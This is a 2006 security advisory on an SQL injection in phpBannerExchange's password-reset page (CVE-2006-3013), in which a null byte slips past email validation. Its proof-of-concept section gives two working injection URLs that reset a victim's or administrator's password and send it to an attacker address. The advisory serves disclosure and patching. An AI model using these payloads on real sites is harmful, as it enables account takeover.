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Unauthorized password recovery in phpBannerExchange

RedTeam identified an SQL injection that can be triggered due to a bad user input sanitization in phpBannerExchange. It is possible to recover a password of an user and thereby overtake his account. 


Details
=======

Product: phpBannerExchange
Affected Versions: All versions up to phpBannerExchange 2.0 RC5
Fixed Versions: 2.0 RC6
Vulnerability Type: Bad user input sanitization, SQL injection
Security-Risk: high
Vendor-URL: http://www.eschew.net/scripts/phpbe/2.0/
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-005
Advisory-Status: public
CVE: CVE-2006-3013
CVE-URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3013


Introduction
============

From the vendor's homepage:
phpBannerExchange is a PHP/mySQL script that allows virtually anyone with minimal knowledge of PHP, mySQL and web hosting to run their own banner exchange. 


More Details
============

If a user forgot the password of his phpBannerExchange account, he can reset it by supplying his email address.
In "resetpw.php" the variable $email contains this email address, which is then validated by a regular expression.

[...]
42    if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)* (\.[a-z]{2,3})$", $email)){
[...]

Due to a bug in the implementation of eregi(), it is possible to pass additional characters by using a Null Byte "\0". Because the backend of eregi() is implemented in C, $email is treated as a zero-terminated string. All characters starting from the Null Byte on will not be recognized by the regular expression. Therefore you can pass an email address, that includes the special character "'" to break the following SQL query:

[...]
48    $get_info=mysql_query("select * from banneruser where  email='$email'");
[...]

After that, a new password for the chosen user is generated and sent via 

[...]
68    mail($email,$usrsubject,$usrcontent,"From: $ownermail");
[...]

Note that mail() will treat $email as a zero-terminated string, too. Thereby, an attacker can reset the password of a user account and send it to his own email address.


Proof of Concept
================

Use following URLs with your favorite web browser:

http://example.com/phpbe/resetpw.php?
submit=&email=attacker@example.com%00'or email='victim@example.com 

to retrieve the password of the user with the email address "victim@example.com" or

http://example.com/phpbe/resetpw.php?
submit=&email=attacker@example.com%00'or id='1

to retrieve the password of the user with user id "1".


Workaround
==========

Use PHP Magic Quotes.


Fix
===

Upgrade to version 2.0 RC6


Security Risk
=============

The security risk is high because an attacker could gain access to an administrator account and view and alter the database and hereby compromise the whole application.


History
=======

2006-06-09 Discovery of the problem
2006-06-10 Vendor is informed
2006-06-12 Vendor released fixed version
2006-06-15 Advisory released
2009-05-08 Updated Advisory URL


References
==========

[1] http://www.eschew.net/scripts/phpbe/2.0/


RedTeam
=======

RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam wants to share its knowledge and enhance the public knowledge with research in security related areas. The results are made available as public security advisories.

More information about RedTeam can be found at
http://www.redteam-pentesting.de.